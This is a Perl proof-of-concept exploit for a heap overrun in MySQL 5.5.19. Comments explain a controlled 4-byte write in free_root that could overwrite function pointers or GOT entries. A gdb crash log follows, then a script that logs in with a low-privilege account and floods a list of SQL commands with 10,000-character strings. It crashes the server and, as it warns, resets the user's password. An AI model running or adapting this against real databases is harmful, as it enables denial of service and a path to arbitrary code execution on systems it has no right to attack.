# MySQL Heap Overrun
# tested for the latest version of mysql server on a SuSE Linux system
#
# As seen below $edx and $edi are fully controlled,
# the current instruction is
# => 0x83a6b24 <free_root+180>: mov (%edx),%edi
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
#
# a user account (with less privileges) is needed
# beware: this script will change the users password to an undefined value
#
=for comment
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa86b3b70 (LWP 9219)]
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
369 old=next; next= next->next;
(gdb) bt
#0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
#1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709
#2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401
#3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260
#4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271
#5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026
#6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075
#7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188
#8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796
#9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0
#11 0xb750fd5e in clone () from /lib/libc.so.6
(gdb) i r
eax 0x8ec63b8 149709752
ecx 0xa86b326c -1469369748
edx 0x5a5a5a5a 1515870810
ebx 0x880eff4 142667764
esp 0xa86b31b0 0xa86b31b0
ebp 0xa86b31d8 0xa86b31d8
esi 0x8e7c714 149407508
edi 0x5a5a5a5a 1515870810
eip 0x83a6b24 0x83a6b24 <free_root+180>
eflags 0x210293 [ CF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
=> 0x83a6b24 <free_root+180>: mov (%edx),%edi
0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195>
0x83a6b28 <free_root+184>: mov %edx,(%esp)
0x83a6b2b <free_root+187>: call 0x83acb70 <my_free>
0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax
0x83a6b33 <free_root+195>: test %edi,%edi
0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176>
0x83a6b37 <free_root+199>: test %eax,%eax
0x83a6b39 <free_root+201>: movl $0x0,(%esi)
0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi)
(gdb)
=cut
use Net::MySQL;
use Encode;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => "test",
user => "user",
password => "test",
debug => 0,
port => 3306,
);
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
"CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c",
"DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");
foreach my $command (@commands) {
for ($k=0;$k<length($command);$k++) {
$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1);
$c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1);
print "$c2";
$mysql->query($c);
}
}
$mysql->close;